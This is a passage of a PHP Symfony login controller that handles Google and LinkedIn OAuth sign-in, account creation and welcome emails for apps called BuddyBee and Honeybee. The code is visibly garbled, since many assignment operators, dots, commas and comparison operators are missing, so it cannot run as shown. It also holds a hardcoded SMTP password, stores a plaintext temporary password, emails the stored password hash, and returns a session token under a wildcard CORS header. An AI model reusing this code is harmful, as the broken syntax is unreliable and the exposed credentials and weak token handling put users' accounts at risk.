  6621.             if ($token) {
  6622.                 $applicantInfo = [];
  6623.                 $curl curl_init();
  6624.                 curl_setopt_array($curl, array(
  6625.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6626.                     CURLOPT_HEADER => false,  // don't return headers
  6627.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6628.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6629.                     CURLOPT_ENCODING => "",     // handle compressed
  6630.                     CURLOPT_USERAGENT => "test"// name of client
  6631.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6632.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6633.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  6634.                     CURLOPT_URL => 'https://api.linkedin.com/v2/me?projection=(id,localizedFirstName,localizedLastName,firstName,lastName,profilePicture(displayImage~:playableStreams))',
  6635.                     CURLOPT_USERAGENT => 'InnoPM',
  6636.                     CURLOPT_HTTPGET => 1,
  6637.                     CURLOPT_HTTPHEADER => array(
  6638.                         'Authorization: Bearer ' $token,
  6639.                         'Header-Key-2: Header-Value-2'
  6640.                     )
  6641.                 ));
  6642.                 $userGeneralcontent curl_exec($curl);
  6643.                 curl_close($curl);
  6644.                 if ($userGeneralcontent) {
  6645.                     $userGeneralcontent json_decode($userGeneralcontenttrue);
  6646.                 }
  6647.                 $curl curl_init();
  6648.                 curl_setopt_array($curl, array(
  6649.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6650.                     CURLOPT_HEADER => false,  // don't return headers
  6651.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6652.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6653.                     CURLOPT_ENCODING => "",     // handle compressed
  6654.                     CURLOPT_USERAGENT => "test"// name of client
  6655.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6656.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6657.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  6658.                     CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress?q=members&projection=(elements*(handle~))',
  6659. //            CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress',
  6660.                     CURLOPT_USERAGENT => 'InnoPM',
  6661.                     CURLOPT_HTTPGET => 1,
  6662.                     CURLOPT_HTTPHEADER => array(
  6663.                         'Authorization: Bearer ' $token,
  6664.                         'Header-Key-2: Header-Value-2'
  6665.                     )
  6666.                 ));
  6667.                 $userEmailcontent curl_exec($curl);
  6668.                 curl_close($curl);
  6669.                 $token false;
  6670.                 if ($userEmailcontent) {
  6671.                     $userEmailcontent json_decode($userEmailcontenttrue);
  6672.                 }
  6673. //        $oAuthEmail = $applicantInfo['email'];
  6674. //        return new JsonResponse(array(
  6675. //          'userEmailcontent'=>$userEmailcontent,
  6676. //          'userGeneralcontent'=>$userGeneralcontent,
  6677. //        ));
  6678. //        return new response($userGeneralcontent);
  6679.                 $oAuthData = [
  6680.                     'email' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6681.                     'uniqueId' => $userGeneralcontent['id'],
  6682.                     'image' => $userGeneralcontent['profilePicture']['displayImage~']['elements'][0]['identifiers'][0]['identifier'],
  6683.                     'emailVerified' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6684.                     'name' => $userGeneralcontent['localizedFirstName'] . ' ' $userGeneralcontent['localizedLastName'],
  6685.                     'firstName' => $userGeneralcontent['localizedFirstName'],
  6686.                     'lastName' => $userGeneralcontent['localizedLastName'],
  6687.                     'type' => 1,
  6688.                     'token' => $token,
  6689.                 ];
  6690.             }
  6691.         } else if (isset($_GET["code"])) {
  6692.             $token $google_client->fetchAccessTokenWithAuthCode($_GET["code"]);
  6693.             if (!isset($token['error'])) {
  6694.                 $google_client->setAccessToken($token['access_token']);
  6695.                 $google_service = new Google_Service_Oauth2($google_client);
  6696.                 $applicantInfo $google_service->userinfo->get();
  6697.                 $oAuthEmail $applicantInfo['email'];
  6698.                 $oAuthData = [
  6699.                     'email' => $applicantInfo['email'],
  6700.                     'uniqueId' => $applicantInfo['id'],
  6701.                     'image' => $applicantInfo['picture'],
  6702.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  6703.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  6704.                     'firstName' => $applicantInfo['givenName'],
  6705.                     'lastName' => $applicantInfo['familyName'],
  6706.                     'type' => $token['token_type'],
  6707.                     'token' => $token['access_token'],
  6708.                 ];
  6709.             }
  6710.         } else if (isset($_GET["access_token"])) {
  6711.             $token $_GET["access_token"];
  6712.             $tokenType $_GET["token_type"];
  6713.             if (!isset($token['error'])) {
  6714.                 $google_client->setAccessToken($token);
  6715.                 $google_service = new Google_Service_Oauth2($google_client);
  6716.                 $applicantInfo $google_service->userinfo->get();
  6717.                 $oAuthEmail $applicantInfo['email'];
  6718.                 $oAuthData = [
  6719.                     'email' => $applicantInfo['email'],
  6720.                     'uniqueId' => $applicantInfo['id'],
  6721.                     'image' => $applicantInfo['picture'],
  6722.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  6723.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  6724.                     'firstName' => $applicantInfo['givenName'],
  6725.                     'lastName' => $applicantInfo['familyName'],
  6726.                     'type' => $tokenType,
  6727.                     'token' => $token,
  6728.                 ];
  6729.             }
  6730.         }
  6731.         if ($oAuthData['email'] != '' || $oAuthData['uniqueId'] != '') {
  6732.             // Multi-email aware, injection-safe (2026-07-04 fix): match the OAuth email against ANY
  6733.             // tagged email (comma list, email OR oAuthEmail). Replaces exact single-value findOneBy
  6734.             // + a hand-rolled comma-LIKE that interpolated the email into SQL and false-matched.
  6735.             $isApplicantExist = \ApplicationBundle\Helper\ApplicantEmailResolver::findOneByAnyEmail($em$oAuthData['email']);
  6736.             if (!$isApplicantExist && $oAuthData['uniqueId'] != '') {
  6737.                 $isApplicantExist $applicantRepo->findOneBy([
  6738.                     'oAuthUniqueId' => $oAuthData['uniqueId']
  6739.                 ]);
  6740.             }
  6741.             if ($isApplicantExist) {
  6742.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6743.                 } else
  6744.                     return $this->redirectToRoute("core_login", [
  6745.                         'id' => $isApplicantExist->getApplicantId(),
  6746.                         'oAuthData' => $oAuthData,
  6747.                         'encData' => $encData,
  6748.                         'locale' => $request->request->get('locale''en'),
  6749.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6750.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6751.                     ]);
  6752.             } else {
  6753.                 $fname $oAuthData['firstName'];
  6754.                 $lname $oAuthData['lastName'];
  6755.                 $img $oAuthData['image'];
  6756.                 $email $oAuthData['email'];
  6757.                 $oAuthEmail $oAuthData['email'];
  6758.                 $userName explode('@'$email)[0];
  6759.                 //now check if same username exists
  6760.                 $username_already_exist 1;
  6761.                 $initial_user_name $userName;
  6762.                 $timeoutSafeCount 10;//only 10 timeout for safety if this fails just add the unix timestamp to make it unique
  6763.                 while ($username_already_exist == && $timeoutSafeCount 0) {
  6764.                     $isUsernameExist $applicantRepo->findOneBy([
  6765.                         'username' => $userName
  6766.                     ]);
  6767.                     if ($isUsernameExist) {
  6768.                         $username_already_exist 1;
  6769.                         $userName $initial_user_name '' rand(3009987);
  6770.                     } else {
  6771.                         $username_already_exist 0;
  6772.                     }
  6773.                     $timeoutSafeCount--;
  6774.                 }
  6775.                 if ($timeoutSafeCount == && $username_already_exist == 1) {
  6776.                     $currentUnixTimeStamp '';
  6777.                     $currentUnixTime = new \DateTime();
  6778.                     $currentUnixTimeStamp $currentUnixTime->format('U');
  6779.                     $userName $userName '' $currentUnixTimeStamp;
  6780.                 }
  6781.                 $characters '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  6782.                 $charactersLength strlen($characters);
  6783.                 $length 8;
  6784.                 $password 0;
  6785.                 for ($i 0$i $length$i++) {
  6786.                     $password .= $characters[rand(0$charactersLength 1)];
  6787.                 }
  6788.                 $newApplicant = new EntityApplicantDetails();
  6789.                 $newApplicant->setActualRegistrationAt(new \DateTime());
  6790.                 $newApplicant->setEmail($email);
  6791.                 $newApplicant->setUserName($userName);
  6792.                 $newApplicant->setFirstname($fname);
  6793.                 $newApplicant->setLastname($lname);
  6794.                 $newApplicant->setOAuthEmail($oAuthEmail);
  6795.                 $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' 0) : 0);
  6796.                 $newApplicant->setOauthUniqueId($oAuthData['uniqueId']);
  6797.                 $newApplicant->setAccountStatus(1);
  6798.                 $salt uniqid(mt_rand());
  6799.                 $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($password$salt);
  6800.                 $newApplicant->setPassword($encodedPassword);
  6801.                 $newApplicant->setSalt($salt);
  6802.                 $newApplicant->setTempPassword($password);;
  6803. //                $newApplicant->setPassword($password);
  6804.                 $marker $userName '-' time();
  6805. //                $extension_here=$uploadedFile->guessExtension();
  6806. //                $fileName = md5(uniqid()) . '.' . $uploadedFile->guessExtension();
  6807. //                $path = $fileName;
  6808.                 $upl_dir $this->container->getParameter('kernel.root_dir') . '/../web/uploads/applicants';
  6809.                 if (!file_exists($upl_dir)) {
  6810.                     mkdir($upl_dir0777true);
  6811.                 }
  6812.                 $ch curl_init($img);
  6813.                 $fp fopen($upl_dir '/' $marker '.jiff''wb');
  6814.                 curl_setopt($chCURLOPT_FILE$fp);
  6815.                 curl_setopt($chCURLOPT_HEADER0);
  6816.                 curl_exec($ch);
  6817.                 curl_close($ch);
  6818.                 fclose($fp);
  6819.                 $newApplicant->setImage('/uploads/applicants/' $marker '.jiff');
  6820. //                $newApplicant->setImage($img);
  6821.                 $newApplicant->setIsConsultant(0);
  6822.                 $newApplicant->setIsTemporaryEntry(0);
  6823.                 $newApplicant->setApplyForConsultant(0);
  6824.                 $em->persist($newApplicant);
  6825.                 $em->flush();
  6826.                 $isApplicantExist $newApplicant;
  6827.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  6828.                     if ($systemType == '_BUDDYBEE_') {
  6829.                         $bodyHtml '';
  6830.                         $bodyTemplate '@Application/email/templates/buddybeeRegistrationComplete.html.twig';
  6831.                         $bodyData = array(
  6832.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6833.                             'email' => $userName,
  6834.                             'password' => $newApplicant->getPassword(),
  6835.                         );
  6836.                         $attachments = [];
  6837.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6838. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6839.                         $new_mail $this->get('mail_module');
  6840.                         $new_mail->sendMyMail(array(
  6841.                             'senderHash' => '_CUSTOM_',
  6842.                             //                        'senderHash'=>'_CUSTOM_',
  6843.                             'forwardToMailAddress' => $forwardToMailAddress,
  6844.                             'subject' => 'Welcome to BuddyBee ',
  6845. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6846.                             'attachments' => $attachments,
  6847.                             'toAddress' => $forwardToMailAddress,
  6848.                             'fromAddress' => 'registration@buddybee.eu',
  6849.                             'userName' => 'registration@buddybee.eu',
  6850.                             'password' => 'Y41dh8g0112',
  6851.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  6852.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  6853.                             'encryptionMethod' => 'ssl',
  6854. //                            'emailBody' => $bodyHtml,
  6855.                             'mailTemplate' => $bodyTemplate,
  6856.                             'templateData' => $bodyData,
  6857. //                        'embedCompanyImage' => 1,
  6858. //                        'companyId' => $companyId,
  6859. //                        'companyImagePath' => $company_data->getImage()
  6860.                         ));
  6861.                     } else {
  6862.                         $bodyHtml '';
  6863.                         $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  6864.                         $bodyData = array(
  6865.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6866.                             'email' => 'APP-' $userName,
  6867.                             'password' => $newApplicant->getPassword(),
  6868.                         );
  6869.                         $attachments = [];
  6870.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6871. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6872.                         $new_mail $this->get('mail_module');
  6873.                         $new_mail->sendMyMail(array(
  6874.                             'senderHash' => '_CUSTOM_',
  6875.                             //                        'senderHash'=>'_CUSTOM_',
  6876.                             'forwardToMailAddress' => $forwardToMailAddress,
  6877.                             'subject' => 'Applicant Registration on Honeybee',
  6878. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6879.                             'attachments' => $attachments,
  6880.                             'toAddress' => $forwardToMailAddress,
  6881.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  6882.                             'userName' => 'accounts@ourhoneybee.eu',
  6883.                             'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  6884.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  6885.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  6886.                             'encryptionMethod' => 'ssl',
  6887. //                            'emailBody' => $bodyHtml,
  6888.                             'mailTemplate' => $bodyTemplate,
  6889.                             'templateData' => $bodyData,
  6890. //                        'embedCompanyImage' => 1,
  6891. //                        'companyId' => $companyId,
  6892. //                        'companyImagePath' => $company_data->getImage()
  6893.                         ));
  6894.                     }
  6895.                 }
  6896.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6897.                 } else {
  6898.                     return $this->redirectToRoute("core_login", [
  6899.                         'id' => $newApplicant->getApplicantId(),
  6900.                         'oAuthData' => $oAuthData,
  6901.                         'encData' => $encData,
  6902.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6903.                         'locale' => $request->request->get('locale''en'),
  6904.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6905.                     ]);
  6906.                 }
  6907.             }
  6908.         }
  6909.         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6910.             if ($isApplicantExist) {
  6911.                 $user $isApplicantExist;
  6912.                 $userType UserConstants::USER_TYPE_APPLICANT;
  6913.                 $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  6914.                 $globalId $user->getApplicantId();
  6915.                 $gocList $em
  6916.                     ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  6917.                     ->findBy(
  6918.                         array(//                        'active' => 1
  6919.                         )
  6920.                     );
  6921.                 $gocDataList = [];
  6922.                 $gocDataListForLoginWeb = [];
  6923.                 $gocDataListByAppId = [];
  6924.                 foreach ($gocList as $entry) {
  6925.                     $d = array(
  6926.                         'name' => $entry->getName(),
  6927.                         'image' => $entry->getImage(),
  6928.                         'id' => $entry->getId(),
  6929.                         'appId' => $entry->getAppId(),
  6930.                         'skipInWebFlag' => $entry->getSkipInWebFlag(),
  6931.                         'skipInAppFlag' => $entry->getSkipInAppFlag(),
  6932.                         'dbName' => $entry->getDbName(),
  6933.                         'dbUser' => $entry->getDbUser(),
  6934.                         'dbPass' => $entry->getDbPass(),
  6935.                         'dbHost' => $entry->getDbHost(),
  6936.                         'companyGroupServerAddress' => $entry->getCompanyGroupServerAddress(),
  6937.                         'companyGroupServerId' => $entry->getCompanyGroupServerId(),
  6938.                         'companyGroupServerPort' => $entry->getCompanyGroupServerPort(),
  6939.                         'companyRemaining' => $entry->getCompanyRemaining(),
  6940.                         'companyAllowed' => $entry->getCompanyAllowed(),
  6941.                     );
  6942.                     $gocDataList[$entry->getId()] = $d;
  6943.                     if (in_array($entry->getSkipInWebFlag(), [0null]))
  6944.                         $gocDataListForLoginWeb[$entry->getId()] = $d;
  6945.                     $gocDataListByAppId[$entry->getAppId()] = $d;
  6946.                 }
  6947.                 if ($userTypesByAppIds == null$userTypesByAppIds = [];
  6948.                 if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  6949.                     $session->set(UserConstants::USER_ID$user->getApplicantId());
  6950.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  6951.                     $session->set(UserConstants::IS_CONSULTANT$user->getIsConsultant() == 0);
  6952.                     $session->set('BUDDYBEE_BALANCE'$user->getAccountBalance());
  6953.                     $session->set('BUDDYBEE_COIN_BALANCE'$user->getSessionCountBalance());
  6954.                     $session->set(UserConstants::IS_BUDDYBEE_RETAILER$user->getIsRetailer() == 0);
  6955.                     $session->set(UserConstants::BUDDYBEE_RETAILER_LEVEL$user->getRetailerLevel() == 0);
  6956.                     $session->set(UserConstants::BUDDYBEE_ADMIN_LEVEL$user->getIsAdmin() == : ($user->getIsModerator() == 0));
  6957.                     $session->set(UserConstants::IS_BUDDYBEE_MODERATOR$user->getIsModerator() == 0);
  6958.                     $session->set(UserConstants::IS_BUDDYBEE_ADMIN$user->getIsAdmin() == 0);
  6959.                     // $session->set(UserConstants::SUPPLIER_ID, $user->getSupplierId());
  6960.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_APPLICANT);
  6961.                     $session->set(UserConstants::USER_EMAIL$user->getOauthEmail());
  6962.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  6963.                     $session->set(UserConstants::USER_NAME$user->getFirstName() . ' ' $user->getLastName());
  6964.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  6965.                     $session->set(UserConstants::USER_COMPANY_ID1);
  6966.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode([]));
  6967.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode([]));
  6968.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  6969.                     $session->set('userCompanyDarkVibrantList'json_encode([]));
  6970.                     $session->set('userCompanyVibrantList'json_encode([]));
  6971.                     $session->set('userCompanyLightVibrantList'json_encode([]));
  6972.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  6973.                     $session->set(UserConstants::USER_APP_ID0);
  6974.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  6975.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  6976.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  6977.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  6978.                     $session->set(UserConstants::USER_GOC_ID0);
  6979.                     $session->set(UserConstants::USER_DB_NAME'');
  6980.                     $session->set(UserConstants::USER_DB_USER'');
  6981.                     $session->set(UserConstants::USER_DB_PASS'');
  6982.                     $session->set(UserConstants::USER_DB_HOST'');
  6983.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE'');
  6984.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  6985.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  6986.                     $session->set('oAuthToken'$request->request->get('oAuthToken'''));
  6987.                     $session->set('locale'$request->request->get('locale'''));
  6988.                     $session->set('firebaseToken'$request->request->get('firebaseToken'''));
  6989.                     $route_list_array = [];
  6990.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  6991.                     $loginID 0;
  6992.                     $loginID MiscActions::addEntityUserLoginLog(
  6993.                         $em,
  6994.                         $session->get(UserConstants::USER_ID),
  6995.                         $session->get(UserConstants::USER_ID),
  6996.                         1,
  6997.                         $request->server->get("REMOTE_ADDR"),
  6998.                         0,
  6999.                         $request->request->get('deviceId'''),
  7000.                         $request->request->get('oAuthToken'''),
  7001.                         $request->request->get('oAuthType'''),
  7002.                         $request->request->get('locale'''),
  7003.                         $request->request->get('firebaseToken''')
  7004.                     );
  7005.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  7006.                     $session_data = array(
  7007.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  7008.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  7009.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  7010.                         'oAuthToken' => $session->get('oAuthToken'),
  7011.                         'locale' => $session->get('locale'),
  7012.                         'firebaseToken' => $session->get('firebaseToken'),
  7013.                         'token' => $session->get('token'),
  7014.                         'firstLogin' => 0,
  7015.                         'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  7016.                         'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  7017.                         UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  7018.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  7019.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  7020.                         UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  7021.                         UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  7022.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  7023.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  7024.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  7025.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  7026.                         'oAuthImage' => $session->get('oAuthImage'),
  7027.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  7028.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  7029.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  7030.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  7031.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  7032.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  7033.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  7034.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  7035.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  7036.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  7037.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  7038.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  7039.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  7040.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  7041.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  7042.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  7043.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  7044.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  7045.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  7046.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  7047.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  7048.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  7049.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  7050.                         //new
  7051.                         'appIdList' => $session->get('appIdList'),
  7052.                         'branchIdList' => $session->get('branchIdList'null),
  7053.                         'branchId' => $session->get('branchId'null),
  7054.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  7055.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  7056.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  7057.                     );
  7058.                     $accessList = [];
  7059. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  7060.                     foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  7061.                         foreach ($thisUserUserTypes as $thisUserUserType) {
  7062.                             if (isset($gocDataListByAppId[$thisUserAppId])) {
  7063.                                 $userTypeName = isset(UserConstants::$userTypeName[$thisUserUserType]) ? UserConstants::$userTypeName[$thisUserUserType] : 'Unknown';
  7064.                                 $d = array(
  7065.                                     'userType' => $thisUserUserType,
  7066. //                                        'userTypeName' => UserConstants::$userTypeName[$thisUserUserType],
  7067.                                     'userTypeName' => $userTypeName,
  7068.                                     'globalId' => $globalId,
  7069.                                     'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  7070.                                     'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  7071.                                     'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  7072.                                     'systemType' => '_ERP_',
  7073.                                     'companyId' => 1,
  7074.                                     'appId' => $thisUserAppId,
  7075.                                     'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  7076.                                     'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  7077.                                     'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  7078.                                             array(
  7079.                                                 'globalId' => $globalId,
  7080.                                                 'appId' => $thisUserAppId,
  7081.                                                 'authenticate' => 1,
  7082.                                                 'userType' => $thisUserUserType,
  7083.                                                 'userTypeName' => $userTypeName
  7084.                                             )
  7085.                                         )
  7086.                                     ),
  7087.                                     'userCompanyList' => [
  7088.                                     ]
  7089.                                 );
  7090.                                 $accessList[] = $d;
  7091.                             }
  7092.                         }
  7093.                     }
  7094.                     $accessList $this->appendCentralCustomerAccessList($accessList, (int)$globalId);
  7095.                     $session_data['userAccessList'] = $accessList;
  7096.                     $session->set('userAccessList'json_encode($accessList));
  7097.                     $session_data $this->filterClientSessionData($session_data);
  7098.                     $tokenData MiscActions::CreateTokenFromSessionData($em$session_data);
  7099.                     $session_data $tokenData['sessionData'];
  7100.                     $token $tokenData['token'];
  7101.                     $session->set('token'$token);
  7102.                     if ($request->request->get('remoteVerify'0) == || $request->query->get('remoteVerify'0) == 1) {
  7103.                         $session->set('remoteVerified'1);
  7104.                         $response = new JsonResponse(array(
  7105.                             'token' => $token,
  7106.                             'uid' => $session->get(UserConstants::USER_ID),
  7107.                             'session' => $session,
  7108.                             'success' => true,
  7109.                             'session_data' => $session_data,
  7110.                         ));
  7111.                         $response->headers->set('Access-Control-Allow-Origin''*');
  7112.                         return $response;
  7113.                     }
  7114.                     if ($request->request->has('referer_path')) {
  7115.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  7116.                             return $this->redirect($request->request->get('referer_path'));
  7117.                         }
  7118.                     }
  7119.                     $redirectRoute 'applicant_dashboard';
  7120.                     if ($request->query->has('encData')) {
  7121.                         if ($request->query->get('encData') == '8917922')
  7122.                             $redirectRoute 'apply_for_consultant';
  7123.                     }
  7124.                     return $this->redirectToRoute($redirectRoute);
  7125.                 }
  7126. //                    $response = new JsonResponse(array(
  7127. //                        'token' => $token,
  7128. //                        'uid' => $session->get(UserConstants::USER_ID),
  7129. //                        'session' => $session,
  7130. //
  7131. //                        'success' => true,
  7132. //                        'session_data' => $session_data,
  7133. //
  7134. //                    ));
  7135. //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  7136. //                    return $response;
  7137. //                    return $this->redirectToRoute("user_login", [
  7138. //                        'id' => $isApplicantExist->getApplicantId(),
  7139. //                        'oAuthData' => $oAuthData,
  7140. //                        'encData' => $encData,
  7141. //                        'locale' => $request->request->get('locale', 'en'),
  7142. //                        'remoteVerify' => $request->request->get('remoteVerify', 0),
  7143. //                        'firebaseToken' => $request->request->get('firebaseToken', ''),
  7144. //                    ]);
  7145.             }
  7146.         }
  7147.         $selector BuddybeeConstant::$selector;
  7148.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7149.         $twig_file '@Authentication/pages/views/applicant_login.html.twig';
  7150.         if ($systemType == '_ERP_') {
  7151.         } else if ($systemType == '_CENTRAL_') {
  7152.             return $this->render(
  7153.                 '@Authentication/pages/views/central_login.html.twig',
  7154.                 [
  7155.                     'page_title' => 'Central Login',
  7156.                     'oAuthLink' => $google_client->createAuthUrl(),
  7157.                     'redirect_url' => $url,
  7158.                     'message' => $message,
  7159.                     'systemType' => $systemType,
  7160.                     'ownServerId' => $ownServerId,
  7161.                     'errorField' => '',
  7162.                     'encData' => $encData,
  7163.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7164.                     'selector' => $selector,
  7165.                 ]
  7166.             );
  7167.         } else if ($systemType == '_BUDDYBEE_') {
  7168.             return $this->render(
  7169.                 '@Authentication/pages/views/applicant_login.html.twig',
  7170.                 [
  7171.                     'page_title' => 'BuddyBee Login',
  7172.                     'oAuthLink' => $google_client->createAuthUrl(),
  7173.                     'redirect_url' => $url,
  7174.                     'message' => $message,
  7175.                     'errorField' => $errorField,
  7176.                     'encData' => $encData,
